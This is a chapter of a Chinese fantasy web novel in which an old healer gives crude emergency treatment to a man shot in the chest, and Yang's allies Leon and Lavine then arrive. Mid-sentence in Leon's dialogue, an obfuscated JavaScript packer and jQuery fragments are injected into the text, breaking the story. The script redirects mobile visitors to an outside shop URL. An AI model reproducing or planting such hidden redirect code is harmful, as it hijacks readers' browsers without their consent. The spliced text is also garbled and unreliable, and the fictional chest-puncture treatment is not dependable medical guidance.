扬撕开铁头破烂的外衣,血肉模糊的左胸露了出来,中间偏上一点的位置有一个黑色的大洞,脂肪和各种组织翻了出来,血还在往外渗。

    万幸的是,没有击中心脏。

    他们此刻身处的位置,是通往地下酿酒厂的那条小道。骑士一走,扬就冲了过去,迅速拖走了他。去酒厂的路错综复杂,就算疯狗瑞恩想要寻过来,大概率也会迷路。

    铁头此刻一动不动,只有胸膛的微弱起伏和嘶嘶的喘气声。

    他可能不想活了。

    扬俯下身,贴着铁头的耳朵:“坚持住,别死了。你女儿还在他们手里。”

    铁头满是血污的脸上,眼睛微微睁开了一条缝。

    “莉……莉丝。救……救……她。”

    “活下去才有办法。”扬“嘶拉”一声撕下袍子的一条——希望教堂没有人发现这件衣服消失了。他把那团布卷成一团,就要去堵铁头胸前那个洞。

    “住手!”

    一个矫健的身影冲了过来,一把打掉了扬手中的布团。

    “你想害死他么?!小鬼,不知道天高地厚。”那是个普通妇女打扮的老太婆,腰间系着围裙,她挎着一个鼓鼓囊囊的粗布口袋,几步跨到近前。

    她放下灯,蹲下身观察。

    “这么脏的布,堵上去只会让他感染,然后痛苦地死掉。”

    她把耳朵贴在铁头的左胸,又听了听铁头的呼吸。

    “有点儿麻烦。但如果能处理好的话……”

    “我能做什么?”扬说。

    “去打酒来,越多越好。我准备一下。”她冷静地倒出口袋的东西,扬扫了一眼,看见几个小瓶、一卷洗得发白的亚麻布、几把小刀、甚至还有穿好了肠线的弯针。

    扬有点犹豫,他不知道这个老女人的底细,会不会在他离开的时候对铁头下手,可……

    “快去!——”

    扬跑了起来。

    “还不算太蠢。”老太婆嘟囔着,她用刀划开了铁头的上衣,将他整个上半身露了出来。

    扬抱着一个大桶跑过来。“就在路边放着。大概是想最近运出来的酒。”

    “打开。”她的动作没有丝毫迟疑,拿起地上最大的那个皮囊,深深按入酒中——刺鼻的劣质烈酒气味逸散出来,她举起皮囊,直接对着铁头胸口那个可怕的伤口浇了下去!

    “呃——嗬!”铁头被这突如其来的剧痛刺激得胸口一挺。

    “叫什么叫!死不了就忍着!”老太婆手上不停,用酒液快速冲洗着伤口周围,然后拿起那块亚麻布,撕开,蘸着酒,更仔细地擦拭伤口边缘,但小心避开了那个黑洞。

    “看着点,小子!”她头也不抬地对扬喝道,“他要是乱动,就给我按住了!按肩膀,别碰胸口!”

    扬立刻照做,铁头的面容因为痛苦扭曲成一团。

    老太婆拿起那根空心骨管和小刀,在酒里涮了涮。

    “给我按紧他!别让他弹起来!”

    她的手指在铁头左侧锁骨下方的位置摸了摸,避开一根跳动的血管,然后用小刀划开一个不足半寸长的小口。紧接着,她将那根空心骨管较尖的一端对准切口,捻旋着刺了进去。

    一声极轻微的、像是穿透薄膜的“噗嗤”声。

    “看到没?”凶婆子示意扬看骨管中空的部分,只见一点带血的泡沫随着铁头微弱的呼气被推了出来。“这漏气的地方不算最要紧的,主要是让他能喘气,不至于憋死。”她凑着灯融了一小蜂蜡,快速抹在骨管周围做了固定。

    至于那个黑洞,老太婆直接从口袋里掏出一大块黑色的黏糊糊的东西,敷上去,她示意扬把那块浸在酒里的布拧干,覆盖在最外面。

    “绑起来。”她丢给扬一卷布,命令道,“诺,从这边肩膀斜过去,缠得紧一些。”

    扬将绷带最后打了个结。

    “扶他躺好,上半身垫高些。”

    “能不能活,就看他自己了。”

    扬抬手擦掉额头的汗,环顾四周,这只是一条通道,长满黑色霉菌的顶还在往下渗水。

    “就在这吗?能不能带他回去?”扬说。

    “回去?”老太婆说,“就他现在这模样,别说挪动,稍微颠簸一下都不行。你想让他死路上,就尽管搬。”

    “旁边有个堆放设备的杂物间,比这里条件要强些。”扬说,“或许我可以把他抬去那里。”

    “老太婆我可抬不动。”她嘴上这么说,终于还是松了口,“你去找块门板来,大一点儿的。”

    铁头还在哼哼,一直在说莉莉丝的名字,他声音微弱,半死不活,血还在往外渗,胸前那块布很快就变成黑红,但他的呼吸平缓了下来,脸色比刚进来的时候好了点。

    “扬——!”

    声音由远及近,莱昂跑过来,看到扬,他站定,弯腰,双手扶着膝盖微微喘气。

    下一秒,他看到了地上的铁头,以及那个埋头整理东西的老太婆。

    “她是谁?”莱昂低声问,他检查了一下铁头的伤势,倒吸一口凉气。

    “铁头他,他这样还能活吗?我在外面看到了疯狗瑞恩,他气坏了,到处找人问

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517679|203235||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,幸好——”

    扬其实没听清莱昂在说什么。

    “什么都别问。”他有点摇晃地站起身来,“现在,我得去找块门板。”

    莱昂按住了他。

    “你歇会儿,我去。”

    “多谢。”

    扬靠回墙边坐下,把头埋进胳膊里。墙上长满了不知名的黏菌,水顺着滑溜溜的墙壁流下来,扬不在意。

    有脚步声。

    “这么快就找到了吗?我马上起来。”

    “扬。”

    那个声音就在他不远处。

    扬猛地睁开眼,转过头,有些不可置信。血与汗顺着他的额角往下淌,糊住了眼睛,他看不太清。但他认得那个声音,那个轮廓——白袍,站在不远处的黑暗里,像一团发光的雾。

    “嚯,来了这么多年轻力壮的男人。”老太婆阴阳怪气地说,“看来用不上我老婆子了。”

    她看了拉维恩一眼。

    “很巧,少爷。我们又见面了。”

    扬站起身。

    “你们认识?”

    “见过一面,”拉维恩说,“在那个画着鱼骨的门后。”他微微躬身,郑重地递给去一个钱袋。

    “非常感谢您的救治。”

    “嗯,”老太婆掂量了一下钱袋的重量,看不出喜怒。

    “贵族的钱,我可不敢收,今天拿了,明天要我老婆子拿命来抵。”

    沉甸甸的小袋子划出一道短弧,被精准地抛回给拉维恩。她一屁股坐下,随意卷起一堆碎烟草开始抽,不再说话。

    气氛有些微妙的凝滞。直到莱昂抱着一块看起来年代久远,但还算完整的门板,有些气喘地跑了回来。

    “找、找到了!这个行吗?”

    老太婆吐出一口烟,用下巴示意了一下地上的铁头。

    “把他抬上去,小心点,托稳头和背,别颠着胸口。你,”她指了指扬,又指了指拉维恩,“还有你,搭把手。愣着干什么?”

    三人轻手轻脚,尽量水平地把铁头搬上了门板。

    “行了,”老太婆最后一口烟吸完,站起身,“按我刚才说的做。可惜还是来迟了点,现在事情变麻烦了。”

    她抓起口袋。

    “记住,今晚没见过我。这刀疤脸的死活,也跟老太婆我没半个铜子的关系。”

    她沿着来时的路离开了,脚步轻盈又矫健,几乎没有发出任何声音。

    “画着鱼骨的门后……”扬说,他的目光紧锁着拉维恩,“我们需要谈谈。但现在,先把他安置到安全的地方。”